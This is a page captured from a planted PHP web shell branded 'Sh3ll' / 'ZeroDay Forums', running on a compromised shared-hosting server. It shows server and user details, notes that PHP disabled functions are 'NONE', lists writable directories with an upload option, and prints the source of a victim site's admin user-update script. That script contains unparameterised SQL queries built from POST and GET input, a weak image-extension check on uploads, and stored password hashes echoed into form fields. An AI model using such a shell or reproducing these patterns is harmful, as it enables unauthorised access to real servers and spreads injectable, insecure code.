Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/www/ondjoweb/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/www/ondjoweb/admin/update-user.php
<?php 
session_start();
include('includes/config.php');

$id=intval($_GET['rid']);

error_reporting(0);
if(strlen($_SESSION['login'])==0)
  { 
header('location:index.php');
}
else{
if(isset($_POST['update']))
{
$pnome=$_POST['nome'];
$pass=$_POST['pass'];
$pass2=$_POST['pass2'];
$email=$_POST['email'];
$estado=$_POST['estado'];
$perfil=$_POST['perfil'];
$staff=$_POST['staff'];

	
if($pass==$pass2){
// password hashing 
$options = ['cost' => 12];
$pass=password_hash($pass2, PASSWORD_BCRYPT, $options);

}
	
	
	
$foto_user=$_FILES["postimage"]["name"];
// get the image extension
$extension = substr($foto_user,strlen($foto_user)-4,strlen($foto_user));
// allowed extensions
$allowed_extensions = array(".jpg","jpeg",".png",".gif");
// Validation for allowed extensions .in_array() function searches an array for a specific value.
if(!in_array($extension,$allowed_extensions))
{
echo "<script>alert('Formato inválido. Somente jpg / jpeg/ png /gif são permitidos');</script>";
}
else
{
//rename the image file
$foto_user=md5($imgfile).$extension;
	
	
if(!file_exists($_FILES["postimage"]["tmp_name"],"postimages/users/".$foto_user)){
// Code for move image into directory
move_uploaded_file($_FILES["postimage"]["tmp_name"],"postimages/users/".$foto_user);
    }else{
echo "<script>alert('Imagem já existe!');</script>";
}	
	
#insert into db	
$query=mysqli_query($con,"update tbladmin set AdminUserName='$pnome',AdminPassword='$pass',AdminEmailId='$email',estado='$estado',perfil='$perfil',staff='$staff',fotoUser='$foto_user' where id='$id'");
	
}	
	
if($query)
{
$msg="Dado actualizado ";
}
else{
$error="Algo deu errado . Por favor tente outra vez.";    
} 

}
?>
<!DOCTYPE html>
<html lang="pt">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="">
        <meta name="author" content="Filipe Meia">

        <!-- App favicon -->
        <link rel="shortcut icon" href="assets/images/favicon.ico">
        <!-- App title -->
        <title>OndjoWEB | Actualizar Usuário</title>

        <!-- Summernote css -->
        <link href="../plugins/summernote/summernote.css" rel="stylesheet" />

        <!-- Select2 -->
        <link href="../plugins/select2/css/select2.min.css" rel="stylesheet" type="text/css" />

        <!-- Jquery filer css -->
        <link href="../plugins/jquery.filer/css/jquery.filer.css" rel="stylesheet" />
        <link href="../plugins/jquery.filer/css/themes/jquery.filer-dragdropbox-theme.css" rel="stylesheet" />

        <!-- App css -->
        <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/menu.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />
		<link rel="stylesheet" href="../plugins/switchery/switchery.min.css">
        <script src="assets/js/modernizr.min.js"></script>
 <script>
function getSubCat(val) {
  $.ajax({
  type: "POST",
  url: "get_subcategory.php",
  data:'catid='+val,
  success: function(data){
    $("#subcategory").html(data);
  }
  });
  }
  </script>
    </head>


    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <!-- Top Bar Start -->
           <?php include('includes/topheader.php');?>
            <!-- ========== Left Sidebar Start ========== -->
             <?php include('includes/leftsidebar.php');?>
            <!-- Left Sidebar End -->



            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">


                        <div class="row">
							<div class="col-xs-12">
								<div class="page-title-box">
                                    <h4 class="page-title">Actualizar Dados do Usuário </h4>
                                    <ol class="breadcrumb p-0 m-0">
                                        <li>
                                        </li>
                                    </ol>
                                    <div class="clearfix"></div>
                                </div>
							</div>
						</div>
                        <!-- end row -->

<div class="row">
<div class="col-sm-6">  
<!---Success Message--->  
<?php if($msg){ ?>
<div class="alert alert-success" role="alert">
<strong>Sucesso!</strong> <?php echo htmlentities($msg);?>
</div>
<?php } ?>

<!---Error Message--->
<?php if($error){ ?>
<div class="alert alert-danger" role="alert">
<strong>Oh pá!</strong> <?php echo htmlentities($error);?></div>
<?php } ?>


</div>
</div>

<?php
$nome="";
$email="";
$pass="";
$perfil="";
$staff="";
	
$query=mysqli_query($con,"select * from tbladmin where id='$id'");
while($row=mysqli_fetch_array($query))
{
$nome=$row['AdminUserName'];
$email=$row['AdminEmailId'];
$pass=$row['AdminPassword'];
$perfil=$row['perfil'];
$staff=$row['staff'];
$estado=$row['estado'];
}
?>
						

                        <div class="row">
                            <div class="col-md-10 col-md-offset-1">
                                <div class="p-6">
                                    <div class="">
<form name="addpost" method="post" enctype="multipart/form-data">
 <div class="form-group m-b-20">
<label for="exampleInputEmail1">Nome</label>
<input value="<?php echo htmlentities($nome);?>"	type="text" class="form-control" id="posttitle" name="nome" placeholder="Nome do Usuário" required maxlength="69">
</div>
	

<div class="form-group m-b-20">
<label for="exampleInputEmail1">Email</label>
<input value="<?php echo htmlentities($email);?>" type="email" class="form-control" id="posttitle" name="email" placeholder="Email do usuário" required maxlength="69">
</div>

<div class="form-group m-b-20">
<label for="exampleInputEmail1">Password</label>
<input value="<?php echo htmlentities($pass);?>" type="password" class="form-control" id="posttitle" name="pass" placeholder="Password do usuário" required maxlength="20">
</div>
	
<div class="form-group m-b-20">
<label for="exampleInputEmail1">Confirmar Password</label>
<input value="<?php echo htmlentities($pass);?>" type="password" class="form-control" id="posttitle" name="pass2" placeholder="Password do usuário" required maxlength="20">
</div>

	
<div class="form-group m-b-20">
<label for="exampleInputEmail1">Perfil</label>
<select class="form-control" name="perfil" id="perfil">
<option selected value="<?php echo htmlentities($perfil);?>"><?php echo htmlentities($perfil);?> </option>
<?php
// Feching active categories
$ret=mysqli_query($con,"select perfil from tblperfil");
while($result=mysqli_fetch_array($ret))
{    
?>
<option value="<?php echo htmlentities($result['perfil']);?>"><?php echo htmlentities($result['perfil']);?></option>
<?php } ?>

</select> 
</div>

<div id="staff" class="form-group m-b-20">
        <label for="exampleInputEmail1">Staff</label>
        <select class="form-control" name="staff">
            <option value="">Selecione o Staff </option>
            <?php
            // Feching active categories
            $ret=mysqli_query($con,"select apelido_clube from tblclubes");
            while($result=mysqli_fetch_array($ret))
            {
                ?>
                <option value="<?php echo htmlentities($result['apelido_clube']);?>"><?php echo htmlentities($result['apelido_clube']);?></option>
            <?php } ?>

        </select>
    </div>


    <div class="form-group m-b-20">
<label for="exampleInputEmail1">Usuário ativo?</label>
<select class="form-control" name="estado" id="category" onChange="getSubCat(this.value);" required>
<option selected value="<?php echo htmlentities($estado);?>"><?php echo htmlentities($estado);?> </option>
	
<option  value="ativo">ativo </option>
<option  value="expirado">expirado </option>
</select> 
</div>
	


<div class="row">
<div class="col-sm-12">
 <div class="card-box">
<h4 class="m-b-30 m-t-0 header-title"><b>Fotografia</b></h4>
<input type="file" class="form-control" id="postimage" name="postimage" >
</div>
</div>
</div>


<button type="submit" name="update" class="btn btn-success waves-effect waves-light">Atualizar</button>
 <button type="button" class="btn btn-danger waves-effect waves-light">Cancelar</button>
                                        </form>
                                    </div>
                                </div> <!-- end p-20 -->
                            </div> <!-- end col -->
                        </div>
						
						
						<!-- end row -->



                    </div> <!-- container -->

                </div> <!-- content -->

           <?php include('includes/footer.php');?>

            </div>


            <!-- ============================================================== -->
            <!-- End Right content here -->
            <!-- ============================================================== -->


        </div>
        <!-- END wrapper -->



        <script>
            var resizefunc = [];
        </script>

        <!-- jQuery  -->
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/detect.js"></script>
        <script src="assets/js/fastclick.js"></script>
        <script src="assets/js/jquery.blockUI.js"></script>
        <script src="assets/js/waves.js"></script>
        <script src="assets/js/jquery.slimscroll.js"></script>
        <script src="assets/js/jquery.scrollTo.min.js"></script>
        <script src="../plugins/switchery/switchery.min.js"></script>

        <!--Summernote js-->
        <script src="../plugins/summernote/summernote.min.js"></script>
        <!-- Select 2 -->
        <script src="../plugins/select2/js/select2.min.js"></script>
        <!-- Jquery filer js -->
        <script src="../plugins/jquery.filer/js/jquery.filer.min.js"></script>

        <!-- page specific js -->
        <script src="assets/pages/jquery.blog-add.init.js"></script>

        <!-- App js -->
        <script src="assets/js/jquery.core.js"></script>
        <script src="assets/js/jquery.app.js"></script>

        <script>

            jQuery(document).ready(function(){

                $('.summernote').summernote({
                    height: 240,                 // set editor height
                    minHeight: null,             // set minimum height of editor
                    maxHeight: null,             // set maximum height of editor
                    focus: false,
                    toolbar: [
                        ['style', ['style']],
                        ['font', ['bold', 'underline', 'clear']],
                        ['fontname', ['fontname']],
                        ['color', ['color']],
                        ['para', ['ul', 'ol', 'paragraph']],
                        ['table', ['table']],
                        ['insert', ['link']],
                        ['view', ['fullscreen']],
                    ]
                });
                // Select2
                $(".select2").select2();

                $(".select2-limiting").select2({
                    maximumSelectionLength: 2
                });
            });
        </script>

        <script>
            //Show some element on selected event
            jQuery(document).ready(function($) {
                $('#staff').hide();
                $('#perfil').change(function() {
                    //Use $option (with the "$") to see that the variable is a jQuery object
                    var $option = $(this).find('option:selected');
                    //Added with the EDIT
                    var value = $option.val();//to get content of "value" attrib
                    var text = $option.text();//to get <option>Text</option> content

                    if (value == 'clube'){
                        $('#staff').show();
                    }else {
                        $('#staff').hide();
                    }
                });
            });

        </script>

  <script src="../plugins/switchery/switchery.min.js"></script>

        <!--Summernote js-->
        <script src="../plugins/summernote/summernote.min.js"></script>



    </body>
</html>
<?php } ?>

ZeroDay Forums Mini